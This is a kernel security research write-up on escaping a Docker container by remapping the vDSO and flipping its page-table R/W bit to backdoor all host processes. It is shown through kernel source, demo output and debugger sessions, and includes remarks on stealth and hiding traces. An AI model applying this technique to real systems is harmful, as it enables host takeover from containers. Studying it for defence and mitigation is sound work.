Title : Escaping from a Docker container through vDSO
Author : andersonc0d3
|=-----------------------------------------------------------------------=|
|=----------=[ Escaping from a Docker container through vDSO ]=----------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ andersonc0d3 ]=---------------------------=|
|=-----------------------------------------------------------------------=|
We came up with a technique in the past that allowed us to escape a Docker
container reliably, and we believe the technique is not publicly known. We
were planning to write a more complete blog post about this technique, but
the blog post on [1] prompted us to write about it sooner than expected.
Abusing page tables is very popular in vulnerability research circles, but
when working on a vulnerability in the past, we didn't find many techniques
that could be applied to escape from a Docker container with a
vulnerability that offers a not-so-strong primitive. This includes a
primitive similar to the one mentioned in [2]: an arbitrary increment
primitive. Fortunately, we discovered a technique, applied it successfully,
and were able to write an exploit that works reliably, stably, and across
different kernel versions without modification. In this blog post we aim to
share some details about it.
The kernel source code used in this blog post is version
6.16.7-200.fc42.x86_64 from a Fedora 42 system.
--[ THE PROBLEM
As already mentioned, abusing page tables is popular in vulnerability
research independent of the target operating system. In the context of a
Docker container where the target does not have much shared data with the
initial namespace, and we cannot from the container directly interact with
processes and objects from outside, it's a challenge to find which objects
to target.
The files or SUID-bit binaries that are the targets in the blog posts
referenced in [1] and [2] are not available in a container. Even though the
versions of the binaries in the container and the host might be the same,
the containers have a different view of the file system. They could be the
same binaries, but they have different page cache entries and different
inodes. We should not be able to overwrite privileged files or SUID-bit
binaries from the initial namespace directly from the container.
Exploiting a vulnerability like a use-after-free from a Docker container,
what target object should be used to reclaim the freed object? The main
goal nowadays is to achieve arbitrary read and write on physical pages
through page tables, but this is usually burdensome. Our technique seems to
be simpler and leads to root privileges in the initial namespace.
--[ THE SOLUTION
The solution we found for this problem is the virtual Dynamic Shared Object
(vDSO). The vDSO is still one of the few places that have data shared
between namespaces. The vDSO is an ELF shared library that is automatically
mapped as read-only in every process independent of the namespaces. It has
been abused in the past, as in [3], but from the perspective of the kernel
itself. The vDSO has also been abused on vulnerabilities like DirtyCow [4],
but what we describe here is different. It's not about a vulnerability that
allows writing to read-only pages. It's a generic approach that abuses
vulnerability primitives to overwrite the vDSO.
The trick for this technique to work is to use `arch_prctl()` or `mremap()`
to remap the vDSO to the mapping in which we reclaimed the page as a page
table entry, probably a Page Table Entry (PTE). The PTE would still be the
same, but the physical page would point to the physical address of the vDSO
pages. Abusing the vulnerability like in [1] and [2], we could flip the R/W
bit of the PTE that holds the physical page of the vDSO. We are then
allowed to write to it, effectively backdooring the whole system.
The `mremap()` system call is straightforward and generic as its role is to
move mappings. Maybe it's not well known, but by default the vDSO can also
be moved. The case of the `arch_prctl()` is different as it contains an
option that installs the vDSO at an arbitrary address. The syscall path in
`arch_prctl()` that allows installing the vDSO is shown below:
1057 SYSCALL_DEFINE2(arch_prctl, int, option, unsigned long, arg2)
1058 {
1059 switch (option) {
1060 case ARCH_GET_CPUID:
1061 return get_cpuid_mode();
1062 case ARCH_SET_CPUID:
1063 return set_cpuid_mode(arg2);
1064 case ARCH_GET_XCOMP_SUPP:
1065 case ARCH_GET_XCOMP_PERM:
1066 case ARCH_REQ_XCOMP_PERM:
1067 case ARCH_GET_XCOMP_GUEST_PERM:
1068 case ARCH_REQ_XCOMP_GUEST_PERM:
1069 return fpu_xstate_prctl(option, arg2);
1070 }
1071
1072 if (!in_ia32_syscall())
1073 return do_arch_prctl_64(current, option, arg2);
1074
1075 return -EINVAL;
1076 }
863 long do_arch_prctl_64(struct task_struct *task, int option, unsigned long arg2)
864 {
865 int ret = 0;
866
867 switch (option) {
...
937
938 #ifdef CONFIG_CHECKPOINT_RESTORE
939 # ifdef CONFIG_X86_X32_ABI
940 case ARCH_MAP_VDSO_X32:
941 return prctl_map_vdso(&vdso_image_x32, arg2);
942 # endif
943 # ifdef CONFIG_IA32_EMULATION
944 case ARCH_MAP_VDSO_32:
945 return prctl_map_vdso(&vdso_image_32, arg2);
946 # endif
947 case ARCH_MAP_VDSO_64:
948 return prctl_map_vdso(&vdso_image_64, arg2);
949 #endif
...
976 }
977
978 return ret;
979 }
782 #ifdef CONFIG_CHECKPOINT_RESTORE
783 static long prctl_map_vdso(const struct vdso_image *image, unsigned long addr)
784 {
785 int ret;
786
787 ret = map_vdso_once(image, addr);
788 if (ret)
789 return ret;
790
791 return (long)image->size;
792 }
793 #endif
201 int map_vdso_once(const struct vdso_image *image, unsigned long addr)
202 {
203 struct mm_struct *mm = current->mm;
204 struct vm_area_struct *vma;
205 VMA_ITERATOR(vmi, mm, 0);
206
207 mmap_write_lock(mm);
208 /*
209 * Check if we have already mapped vdso blob - fail to prevent
210 * abusing from userspace install_special_mapping, which may
211 * not do accounting and rlimit right.
212 * We could search vma near context.vdso, but it's a slowpath,
213 * so let's explicitly check all VMAs to be completely sure.
214 */
215 for_each_vma(vmi, vma) {
216 if (vma_is_special_mapping(vma, &vdso_mapping) ||
217 vma_is_special_mapping(vma, &vdso_vvar_mapping) ||
218 vma_is_special_mapping(vma, &vvar_vclock_mapping)) {
219 mmap_write_unlock(mm);
220 return -EEXIST;
221 }
222 }
223 mmap_write_unlock(mm);
224
225 return map_vdso(image, addr);
226 }
137 static int map_vdso(const struct vdso_image *image, unsigned long addr)
138 {
139 struct mm_struct *mm = current->mm;
140 struct vm_area_struct *vma;
141 unsigned long text_start;
142 int ret = 0;
143
144 if (mmap_write_lock_killable(mm))
145 return -EINTR;
146
147 addr = get_unmapped_area(NULL, addr,
148 image->size + __VDSO_PAGES * PAGE_SIZE, 0, 0);
149 if (IS_ERR_VALUE(addr)) {
150 ret = addr;
151 goto up_fail;
152 }
153
154 text_start = addr + __VDSO_PAGES * PAGE_SIZE;
155
156 /*
157 * MAYWRITE to allow gdb to COW and set breakpoints
158 */
159 vma = _install_special_mapping(mm,
160 text_start,
161 image->size,
162 VM_READ|VM_EXEC|
163 VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC|
164 VM_SEALED_SYSMAP,
165 &vdso_mapping);
166
167 if (IS_ERR(vma)) {
168 ret = PTR_ERR(vma);
169 goto up_fail;
170 }
171
172 vma = vdso_install_vvar_mapping(mm, addr);
173 if (IS_ERR(vma)) {
174 ret = PTR_ERR(vma);
175 do_munmap(mm, text_start, image->size, NULL);
176 goto up_fail;
177 }
178
179 vma = _install_special_mapping(mm,
180 VDSO_VCLOCK_PAGES_START(addr),
181 VDSO_NR_VCLOCK_PAGES * PAGE_SIZE,
182 VM_READ|VM_MAYREAD|VM_IO|VM_DONTDUMP|
183 VM_PFNMAP|VM_SEALED_SYSMAP,
184 &vvar_vclock_mapping);
185
186 if (IS_ERR(vma)) {
187 ret = PTR_ERR(vma);
188 do_munmap(mm, text_start, image->size, NULL);
189 do_munmap(mm, addr, image->size, NULL);
190 goto up_fail;
191 }
192
193 current->mm->context.vdso = (void __user *)text_start;
194 current->mm->context.vdso_image = image;
195
196 up_fail:
197 mmap_write_unlock(mm);
198 return ret;
199 }
The syscall `arch_prctl()` with the command `ARCH_MAP_VDSO_64` allows the
user to effectively move the vDSO and other related pages to any address
they wish, since the vDSO and its pages are already unmapped. It's not
permitted to have more than one vDSO mapped into a binary.
--[ DEMONSTRATION
As we will not use any interesting vulnerability in this blog post, we
decided to come up with a different approach. To demonstrate the impact of
the technique, we are going to start from the point where we already
reclaimed the freed object as a PTE and we know the mapping that can be
arbitrarily incremented. We will simulate the primitive using the kernel
debugger.
Before that, we will show the syscall in action. In the demonstration
below, we will show that we can remap the vDSO to our arbitrary address.
The code below is executed from a Docker container. It creates a mapping
with the same length as the vDSO and its related pages—8 pages in total,
covering the `VVAR`, `VVAR_CLOCK`, and the vDSO itself.
[root@02a4e6611030 vdso]# ./arch_prctl_demo
PID: 166
Creating a mapping
Our mapped address 0x7f179d43a000
We stopped the code at that moment to check the page table with the crash
utility. But before proceeding, we need to obtain the PID of the process
running inside Docker in the initial PID namespace.
$ pidof arch_prctl_demo
2839
$
crash> vtop -c 2839 0x7f179d43a000
VIRTUAL PHYSICAL
7f179d43a000 (not mapped)
PGD: 74d7a7f0 => 1f6fa067
PUD: 1f6fa2f0 => 51bc0067
PMD: 51bc0750 => 74ce3067
PTE: 74ce31d0 => 0
VMA START END FLAGS FILE
ffff8880091f3600 7f179d43a000 7f179d442000 8100077
As shown, the mapping is still not populated. We will populate it now and
check again using crash.
[root@02a4e6611030 vdso]# ./arch_prctl_demo
PID: 166
Creating a mapping
Our mapped address 0x7f179d43a000
Writing to 0x7f179d43a000
Mapping written to!
crash> vtop -c 2839 0x7f179d43a000
VIRTUAL PHYSICAL
7f179d43a000 33adb000
PGD: 74d7a7f0 => 1f6fa067
PUD: 1f6fa2f0 => 51bc0067
PMD: 51bc0750 => 74ce3067
PTE: 74ce31d0 => 33adb867
PAGE: 33adb000
PTE PHYSICAL FLAGS
33adb867 33adb000 (PRESENT|RW|USER|ACCESSED|DIRTY)
VMA START END FLAGS FILE
ffff8880091f3600 7f179d43a000 7f179d442000 8100077
PAGE PHYSICAL MAPPING INDEX CNT FLAGS
ffffea0000ceb6c0 33adb000 ffff88803d62f1a1 7f179d43a 1 fffffe0020828 uptodate,lru,owner_2,swapbacked
crash>
The page fault handler mapped a new page into our previously created
mapping. Since this triggered a write fault, the R/W bit of the PTE was
set, but this is not the R/W bit we target for the exploit. The code then
obtains the address of the vDSO mapped into the process by the kernel. We
confirm the address by checking /proc/PID/maps in the initial PID
namespace.
[root@02a4e6611030 vdso]# ./arch_prctl_demo
PID: 166
Creating a mapping
Our mapped address 0x7f179d43a000
Writing to 0x7f179d43a000
Mapping written to!
Obtaining VDSO addresses
vvar located at 0x7f179d63b000
vvar_vclock located at 0x7f179d63f000
vDSO located at 0x7f179d641000
$ sudo cat /proc/2839/maps | grep -A1 "vvar"
7f179d63b000-7f179d63f000 r--p 00000000 00:00 0 [vvar]
7f179d63f000-7f179d641000 r--p 00000000 00:00 0 [vvar_vclock]
7f179d641000-7f179d643000 r-xp 00000000 00:00 0 [vdso]
$
The vDSO and its related pages were successfully located and mapped. It's
important for us to confirm the physical page address of the vDSO. We can
do that by inspecting the vDSO mapping shown above. Note that we didn't
need to execute any system call from the vDSO for its mapping to be
populated; the binary or the loader probably executed at least one system
call from it automatically.
crash> vtop -c 2839 7f179d641000
VIRTUAL PHYSICAL
7f179d641000 2fb1000
PGD: 74d7a7f0 => 1f6fa067
PUD: 1f6fa2f0 => 51bc0067
PMD: 51bc0758 => 1f6dd067
PTE: 1f6dd208 => 2fb1025
PAGE: 2fb1000
PTE PHYSICAL FLAGS
2fb1025 2fb1000 (PRESENT|USER|ACCESSED)
VMA START END FLAGS FILE
ffff8880518289c0 7f179d641000 7f179d643000 8040075
PAGE PHYSICAL MAPPING INDEX CNT FLAGS
ffffea00000bec40 2fb1000 0 0 60 fffffc6002204 referenced,workingset,reserved
crash>
The physical page 0x2fb1000 is the location of the first page of the vDSO.
Our goal here is to make the arbitrary address `0x7f179d43a000 +
VDSO_OFFSET` point to that physical page. If the stars are properly aligned
and we can flip the R/W bit, writing to the mapping after triggering the
primitive overwrites the vDSO's physical page.
This results in backdooring the whole system. Continuing with the
demonstration of the system call `arch_prctl()` in action, we first unmap
the existing vDSO and its related pages. As stated earlier, the system does
not permit more than one vDSO to be mapped. We also need to unmap our
arbitrary mapping; otherwise, we can't substitute it with the official vDSO
mapping.
root@02a4e6611030 vdso]# ./arch_prctl_demo
PID: 166
Creating a mapping
Our mapped address 0x7f179d43a000
Writing to 0x7f179d43a000
Mapping written to!
Obtaining VDSO addreses
vvar located at 0x7f179d63b000
vvar_vclock located at 0x7f179d63f000
vDSO located at 0x7f179d641000
Unmapping vDSO pages
VVAR and vDSO pages unmapped!
Having executed the steps to unmap the existing vDSO and our arbitrary
mapping, we confirm that the vDSO and its related pages are now
successfully unmapped from the process's address space.
$ sudo cat /proc/2839/maps | grep -A1 "vvar"
$
crash> vtop -c 2839 7f179d641000
VIRTUAL PHYSICAL
7f179d641000 (not accessible)
crash>
[root@02a4e6611030 vdso]# ./arch_prctl_demo
PID: 166
Creating a mapping
Our mapped address 0x7f179d43a000
Writing to 0x7f179d43a000
Mapping written to!
Obtaining VDSO addreses
vvar located at 0x7f179d63b000
vvar_vclock located at 0x7f179d63f000
vDSO located at 0x7f179d641000
Unmapping vDSO pages
VVAR and vDSO pages unmapped!
Our mapped address 0x7f179d43a000 is unmapped now
crash> vtop -c 2839 0x7f179d43a000
VIRTUAL PHYSICAL
7f179d43a000 (not accessible)
crash>
With the existing vDSO and our arbitrary mapping unmapped, we are now ready
to call `arch_prctl()` with the `ARCH_MAP_VDSO_64` command to remap the
vDSO and its associated pages (VVAR, `VVAR_CLOCK`) into our desired
arbitrary address.
This single syscall causes the kernel to install the vDSO mapping at the
target virtual address which we previously prepared to overlap with a
reclaimed page used as a PTE.
Once the vDSO is mapped into this address space, the actual physical pages
of the read-only vDSO are referenced by a PTE that we control and which is
positioned in our mapping. Our next and final step is to use the arbitrary
increment primitive (simulated with the kernel debugger) to flip the R/W
bit of this controlling PTE, granting us write access to the vDSO's
physical pages and achieving root privileges in the initial namespace.
[root@02a4e6611030 vdso]# ./map_new
PID: 166
Creating a mapping
Our mapped address 0x7f179d43a000
Writing to 0x7f179d43a000
Mapping written to!
Obtaining VDSO addreses
vvar located at 0x7f179d63b000
vvar_vclock located at 0x7f179d63f000
vDSO located at 0x7f179d641000
Unmapping vDSO pages
VVAR and vDSO pages unmapped!
Our mapped address 0x7f179d43a000 is unmapped now
Re-mapping VVAR at 0x7f179d43a000
VVAR and vDSO pages remapped successfully
vvar located at 0x7f179d43a000
vvar_vclock located at 0x7f179d43e000
vDSO located at 0x7f179d440000
$ sudo cat /proc/2839/maps | grep -A1 "vvar"
7f179d43a000-7f179d43e000 r--p 00000000 00:00 0 [vvar]
7f179d43e000-7f179d440000 r--p 00000000 00:00 0 [vvar_vclock]
7f179d440000-7f179d442000 r-xp 00000000 00:00 0 [vdso]
$
crash> vtop -c 2839 0x7f179d43a000
VIRTUAL PHYSICAL
7f179d43a000 (not mapped)
PGD: 74d7a7f0 => 1f6fa067
PUD: 1f6fa2f0 => 51bc0067
PMD: 51bc0750 => 74ce3067
PTE: 74ce31d0 => 0
VMA START END FLAGS FILE
ffff888040281f00 7f179d43a000 7f179d43e000 c044411
crash>
Our mapping is alive again, but this time, it's a VVAR mapping. There's no
need to confirm, but just to make sure everything is right, we show a field
of the VMA (Virtual Memory Area) shown above, and it indeed shows that it
is a VVAR mapping.
(gdb) print/s ((struct vm_area_struct *)0xffff888040281f00)->vm_private_data
$7 = (void *) 0xffffffff82738a20 <vdso_vvar_mapping>
(gdb)
Our arbitrary mapping is now confirmed to be a VVAR mapping, and the
address `0x7f179d43a000 + VDSO_OFFSET` now points directly to the vDSO
mapping. This means that the vDSO's physical pages may now be referenced by
a PTE that falls within the address range of our arbitrary mapping.
crash> vtop -c 2839 7f179d440000
VIRTUAL PHYSICAL
7f179d440000 (not mapped)
PGD: 74d7a7f0 => 1f6fa067
PUD: 1f6fa2f0 => 51bc0067
PMD: 51bc0750 => 74ce3067
PTE: 74ce3200 => 0
VMA START END FLAGS FILE
ffff888040281180 7f179d440000 7f179d442000 8040075
crash>
(gdb) print/s ((struct vm_area_struct *)0xffff888040281180)->vm_private_data
$8 = (void *) 0xffffffff826037e0 <vdso_mapping>
(gdb)
Everything is right so far, but the relocated vDSO mapping is not yet
populated with its physical page. We cannot execute any system calls via
the vDSO yet; doing so would likely cause the process to crash because the
system doesn't correctly handle a relocated vDSO mapping.
Fortunately, we do not need to execute a vDSO system call. We can simply
read from the relocated vDSO address range to trigger a page fault. The
page fault handler will then map the required physical pages into our new
virtual address, thereby populating the mapping and making the vDSO's
physical page accessible for the exploit.
[root@02a4e6611030 vdso]# ./map_new
PID: 166
Obtaining a mapping
Our mapped address 0x7f179d43a000
Writing to 0x7f179d43a000
Mapping written to!
Obtaining VDSO addreses
vvar located at 0x7f179d63b000
vvar_vclock located at 0x7f179d63f000
vDSO located at 0x7f179d641000
Unmapping vDSO pages
VVAR and vDSO pages unmapped!
Our mapped address 0x7f179d43a000 is unmapped now
Re-mapping VVAR at 0x7f179d43a000
VVAR and vDSO pages remapped successfully
vvar located at 0x7f179d43a000
vvar_vclock located at 0x7f179d43e000
vDSO located at 0x7f179d440000
Populating our target PTE with the page frame of the vDSO
crash> vtop -c 2839 7f179d440000
VIRTUAL PHYSICAL
7f179d440000 2fb1000
PGD: 74d7a7f0 => 1f6fa067
PUD: 1f6fa2f0 => 51bc0067
PMD: 51bc0750 => 74ce3067
PTE: 74ce3200 => 2fb1025
PAGE: 2fb1000
PTE PHYSICAL FLAGS
2fb1025 2fb1000 (PRESENT|USER|ACCESSED)
VMA START END FLAGS FILE
ffff888040281180 7f179d440000 7f179d442000 8040075
PAGE PHYSICAL MAPPING INDEX CNT FLAGS
ffffea00000bec40 2fb1000 0 0 60 fffffc6002204 referenced,workingset,reserved
crash>
The same physical address from the vDSO (0x2fb1000) originally mapped by
the kernel is now correctly filled in a PTE of the arbitrary address we
mapped. We again show that this is the exact physical address of the vDSO
by obtaining it from the source object that is used by the kernel to map
the vDSO into every process running on the system.
(gdb) p/x vdso_image_64->data
$16 = 0xffffffff82fb1000
(gdb)
crash> vtop 0xffffffff82fb1000
VIRTUAL PHYSICAL
ffffffff82fb1000 2fb1000
PGD DIRECTORY: ffffffff8382c000
PAGE DIRECTORY: 3831067
PUD: 3831ff0 => 3832063
PMD: 38320b8 => 8000000002e001a1
PAGE: 2e00000 (2MB)
PTE PHYSICAL FLAGS
8000000002e001a1 2e00000 (PRESENT|ACCESSED|PSE|GLOBAL|NX)
PAGE PHYSICAL MAPPING INDEX CNT FLAGS
ffffea00000bec40 2fb1000 0 0 60 fffffc6002204 referenced,workingset,reserved
crash>
As shown above, both the kernel object and the physical page in our PTE now
point to 0x2fb1000. This confirms the successful remapping of the vDSO's
physical pages to our arbitrary, controllable virtual address.
It's important to note that while we used the `arch_prctl()` system call
for this demonstration, the same core remapping step can be achieved using
`mremap()`, offering flexibility in exploit development.
--[ ABUSING
We have shown above we can have an arbitrary PTE allocated in our process's
page table pointing to the physical page of the vDSO. The PTE page should
be the same memory page containing the object freed by the use-after-free
vulnerability (the slab object's backing page being reallocated as a PTE).
The technique works by freeing all related slab objects, forcing the slab's
page to be returned to the page allocator, reallocating that page to hold
the new PTE, locating the offset that we can corrupt (ideally an arbitrary
increment primitive), and abusing it to set the R/W bit of the PTE. As the
PTE is populated with the vDSO physical page, this allows us to overwrite
the content of the vDSO's physical pages. We will demonstrate this below
using the same approach from the previous section.
We show the original vDSO data by looking at the kernel object.
(gdb) x/20g vdso_image_64->data
0xffffffff82fb1000 <raw_data>: 0x00010102464c457f 0x0000000000000000
0xffffffff82fb1010 <raw_data+16>: 0x00000001003e0003 0x0000000000000000
0xffffffff82fb1020 <raw_data+32>: 0x0000000000000040 0x00000000000017f0
0xffffffff82fb1030 <raw_data+48>: 0x0038004000000000 0x0010001100400004
0xffffffff82fb1040 <raw_data+64>: 0x0000000500000001 0x0000000000000000
0xffffffff82fb1050 <raw_data+80>: 0x0000000000000000 0x0000000000000000
0xffffffff82fb1060 <raw_data+96>: 0x000000000000171b 0x000000000000171b
0xffffffff82fb1070 <raw_data+112>: 0x0000000000001000 0x0000000400000002
0xffffffff82fb1080 <raw_data+128>: 0x0000000000000438 0x0000000000000438
0xffffffff82fb1090 <raw_data+144>: 0x0000000000000438 0x0000000000000120
(gdb)
We have confirmed that the PTE for our arbitrary address points directly to
the vDSO's physical page. An exploit would now abuse the vulnerability
primitive (the arbitrary increment) to modify the content of this PTE,
specifically changing the bits at offset 0x2fb1025 ( PRESENT | USER |
ACCESSED ) to 0x2fb1027 ( PRESENT | R/W | USER | ACCESSED ). The addition
of the R/W bit (Read/Write) to the PTE effectively drops the read-only
protection on the vDSO's physical pages, allowing us to overwrite its code
and achieve root privileges.
crash> vtop -c 2809 0x7fb53f2d9000
VIRTUAL PHYSICAL
7fb53f2d9000 2fb1000
PGD: 12e2037f8 => 1818ab067
PUD: 1818ab6a0 => 1818c2067
PMD: 1818c2fc8 => 154739067
PTE: 1547396c8 => 2fb1025
PAGE: 2fb1000
PTE PHYSICAL FLAGS
2fb1025 2fb1000 (PRESENT|USER|ACCESSED)
VMA START END FLAGS FILE
ffff88818198a780 7fb53f2d9000 7fb53f2db000 8040075
PAGE PHYSICAL MAPPING INDEX CNT FLAGS
ffffea00000bec40 2fb1000 0 0 61 fffffc6002204 referenced,workingset,reserved
crash>
We use the crash command to confirm the page table attributes that define
the R/W (Read/Write) bit for our target PTE.
crash> pte 2fb1025
PTE PHYSICAL FLAGS
2fb1025 2fb1000 (PRESENT|USER|ACCESSED)
crash> pte 2fb1027
PTE PHYSICAL FLAGS
2fb1027 2fb1000 (PRESENT|RW|USER|ACCESSED)
crash>
Obtaining the virtual address that points to that PTE entry so we can
simulate an arbitrary write primitive on the debugger.
crash> ptov 1547396c8
VIRTUAL PHYSICAL
ffff8881547396c8 1547396c8
crash>
Using the debugger, we overwrite the PTE flags in order to have the R/W bit
defined.
(gdb) x/gx 0xffff8881547396c8
0xffff8881547396c8: 0x0000000002fb1025
(gdb) set *(unsigned long)0xffff8881547396c8=0x0000000002fb1027
(gdb) x/gx 0xffff8881547396c8
0xffff8881547396c8: 0x0000000002fb1027
(gdb)
After this final step, the code can write to the vDSO successfully. This
allows us to inject arbitrary code into the vDSO's physical pages, which
are mapped into virtually every process running on the system. By
overwriting a function within the vDSO (e.g., `__vdso_gettimeofday()`), we
have effectively backdoored the whole system, gaining root privileges in
the initial namespace and full control over the host.
(gdb) x/20g vdso_image_64->data
0xffffffff82fb1000 <raw_data>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1010 <raw_data+16>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1020 <raw_data+32>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1030 <raw_data+48>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1040 <raw_data+64>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1050 <raw_data+80>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1060 <raw_data+96>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1070 <raw_data+112>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1080 <raw_data+128>: 0x4141414141414141 0x4141414141414141
0xffffffff82fb1090 <raw_data+144>: 0x4141414141414141 0x4141414141414141
(gdb)
Consequently, after overwriting the vDSO with junk data, all processes
start to crash. This confirms that the vDSO's critical code (which is
shared by all user-space processes) has been corrupted, proving that the
read-only protection was successfully bypassed and that full system
compromise has been achieved.
[15360.396420] traps: auditd[1127] general protection fault ip:7f75bc240fb0 sp:7ffe2a1fc458 error:0
[15360.396454] traps: systemd-journal[972] general protection fault ip:7fb8a9b68fb0 sp:7ffe79d30b08 error:0
[15360.397054] traps: systemd-coredum[2854] general protection fault ip:7fbcef58699b sp:7ffff41f6650 error:0
[15360.397056] traps: systemd-coredum[2855] general protection fault ip:7f3cecf5e99b sp:7ffe5726f8f0 error:0
[15360.397055] traps: systemd-coredum[2856] general protection fault ip:7f349c09b99b sp:7fff6c27b2c0 error:0
[15360.397057] in ld-linux-x86-64.so.2[1f99b,7fbcef567000+29000]
[15360.397059] in ld-linux-x86-64.so.2[1f99b,7f3cecf3f000+29000]
[15360.397060] in ld-linux-x86-64.so.2[1f99b,7f349c07c000+29000]
--[ ADVANTAGES
This technique can also be used outside a container environment. In fact,
we recommend it over the read-only file-based overwrite technique for a
generic approach if you have a primitive that allows overwriting page
tables.
The capability of arbitrary read/write on physical pages is the holy grail,
but depending on the goal, it's not needed. It also seems to usually be
more complicated than targeting the vDSO, as mentioned in this blog post.
This technique also doesn't need a KASLR bypass to be implemented.
The file-based technique works well, but it has side effects. At least one
file system (BTRFS), through the write-back mechanism, has a safeguard that
detects the abuse and generates a warning; it might lead to crashes
depending on the system configuration. A malicious SUID-bit binary is
easier to be detected than the memory-only vDSO.
The vDSO technique, due to it being memory-only, doesn't involve a
write-back mechanism. You can also probably re-use the technique to restore
the original vDSO, helping to hide your traces.
Once the vDSO is overwritten with a malicious one, many processes running
on the machine and from the initial namespace will execute its code. There
are many opportunities of functions to hijack and processes to target, but
this is outside of the scope of this blog post.
--[ DISADVANTAGES
You need to have the original vDSO from the kernel you are targeting,
specially if you intend to restore the original vDSO. If you build the
kernel manually, it likely doesn't yield the same vDSO, even using the same
kernel configuration. The backdoored vDSO needs to be build accordingly,
otherwise the alignments and offsets won't match and will have side
effects. We can confirm this is feasible. Also, the backdoored vDSO needs
some additional work to try to be stealth. It's not the goal of this blog
post to teach how to build a kernel resulting in the exact vDSO from the
distribution and kernel you are targeting and how to make the injected code
stealth.
The kernel configuration `CONFIG_CHECKPOINT_RESTORE` is needed for the
`arch_prctl()` system call to include the `ARCH_MAP_VDSO_*` commands.
Fortunately, most of the kernels enable it. Also, there a recent kernel
mitigation added on version 6.15 [5] called `CONFIG_MSEAL_SYSTEM_MAPPINGS`
that blocks the vDSO to be remapped via `mremap()` system call. It doesn't
block `arch_prctl()`, but to enable `CONFIG_MSEAL_SYSTEM_MAPPINGS`,
`CONFIG_CHECKPOINT_RESTORE` needs to be disabled. The following text is
found in the documentation of the mseal feature [6].
"WARNING: This feature breaks programs which rely on relocating or
unmapping system mappings. Known broken software at the time of writing
includes `CHECKPOINT_RESTORE`, UML, gVisor, rr. Therefore this config can't
be enabled universally."
The definition of the kernel configuration is shown below:
File: security/Kconfig
---
54 config MSEAL_SYSTEM_MAPPINGS
55 bool "mseal system mappings"
56 depends on 64BIT
57 depends on ARCH_SUPPORTS_MSEAL_SYSTEM_MAPPINGS
58 depends on !CHECKPOINT_RESTORE
---
When `CONFIG_MSEAL_SYSTEM_MAPPINGS` is enabled, `VM_SEALED_SYSMAP` is
defined as `VM_SEALED` and not `VM_NONE`. All the vDSO mappings are defined
with `VM_SEALED_SYSMAP`, as can be seen below.
4128 #ifdef CONFIG_MSEAL_SYSTEM_MAPPINGS
4129 #define VM_SEALED_SYSMAP VM_SEALED
4130 #else
4131 #define VM_SEALED_SYSMAP VM_NONE
4132 #endif
137 static int map_vdso(const struct vdso_image *image, unsigned long addr)
138 {
...
159 vma = _install_special_mapping(mm,
160 text_start,
161 image->size,
162 VM_READ|VM_EXEC|
163 VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC|
164 VM_SEALED_SYSMAP,
165 &vdso_mapping);
...
172 vma = vdso_install_vvar_mapping(mm, addr);
173 if (IS_ERR(vma)) {
174 ret = PTR_ERR(vma);
175 do_munmap(mm, text_start, image->size, NULL);
176 goto up_fail;
177 }
178
179 vma = _install_special_mapping(mm,
180 VDSO_VCLOCK_PAGES_START(addr),
181 VDSO_NR_VCLOCK_PAGES * PAGE_SIZE,
182 VM_READ|VM_MAYREAD|VM_IO|VM_DONTDUMP|
183 VM_PFNMAP|VM_SEALED_SYSMAP,
184 &vvar_vclock_mapping);
...
199 }
99 struct vm_area_struct *vdso_install_vvar_mapping(struct mm_struct *mm, unsigned long addr)
100 {
101 return _install_special_mapping(mm, addr, VDSO_NR_PAGES * PAGE_SIZE,
102 VM_READ | VM_MAYREAD | VM_IO | VM_DONTDUMP |
103 VM_PFNMAP | VM_SEALED_SYSMAP,
104 &vdso_vvar_mapping);
105 }
The function `can_modify_vma()` is called on several points before changing
the VMA, including `mremap()`.
573 static inline bool can_modify_vma(struct vm_area_struct *vma)
574 {
575 if (unlikely(vma_is_sealed(vma)))
576 return false;
577
578 return true;
579 }
564 static inline bool vma_is_sealed(struct vm_area_struct *vma)
565 {
566 return (vma->vm_flags & VM_SEALED);
567 }564 static inline bool vma_is_sealed(struct vm_area_struct *vma)
565 {
566 return (vma->vm_flags & VM_SEALED);
567 }
Functions calling this function: can_modify_vma
File Function Line
0 mm/mprotect.c mprotect_fixup 608 if (!can_modify_vma(vma))
1 mm/mremap.c do_mremap 1716 if (!can_modify_vma(vma)) {
2 mm/mseal.c can_modify_vma_madv 65 if (unlikely(!can_modify_vma(vma) && is_ro_anon(vma)))
3 mm/vma.c vms_gather_munmap_vmas 1349 if (!can_modify_vma(vms->vma)) {
4 mm/vma.c vms_gather_munmap_vmas 1369 if (!can_modify_vma(next)) {Functions calling this function: can_modify_vma
File Function Line
0 mm/mprotect.c mprotect_fixup 608 if (!can_modify_vma(vma))
1 mm/mremap.c do_mremap 1716 if (!can_modify_vma(vma)) {
2 mm/mseal.c can_modify_vma_madv 65 if (unlikely(!can_modify_vma(vma) && is_ro_anon(vma)))
3 mm/vma.c vms_gather_munmap_vmas 1349 if (!can_modify_vma(vms->vma)) {
4 mm/vma.c vms_gather_munmap_vmas 1369 if (!can_modify_vma(next)) {
In short, `CONFIG_MSEAL_SYSTEM_MAPPINGS` blocks this technique to be usable
by forcing `mremap()` to fail and removing the commands to move vDSO from
`arch_prctl()`, but we didn't find any distributions already enabling it.
The linux-hardened kernel [7] enables `CONFIG_MSEAL_SYSTEM_MAPPINGS` and
grsecurity has `CONFIG_CHECKPOINT_RESTORE` disabled, so this technique is
not applied in those kernels. Google kCTF VRP kernels COS kernel config [8]
has `CONFIG_CHECKPOINT_RESTORE` enabled and this technique should be
applied to it.
--[ CONCLUSION
We have tested this technique with a 0day vulnerability successfully in
more than one distribution, working on several kernel versions reliably
without any modification. It achieved 95%+ reliability after more than
500.000 runs.
This technique seems to be powerful and simple, considering the necessary
primitives are already obtained.
--[ REFERENCES
[1] - Dirty Pageflags: Revisiting PTE Exploitation in Linux
https://ptr-yudai.hatenablog.com/entry/2025/09/14/180326
[2] - How a simple Linux kernel memory corruption bug can lead to complete system compromise
https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html
[3] - Bypassing smep using vdso overwrites
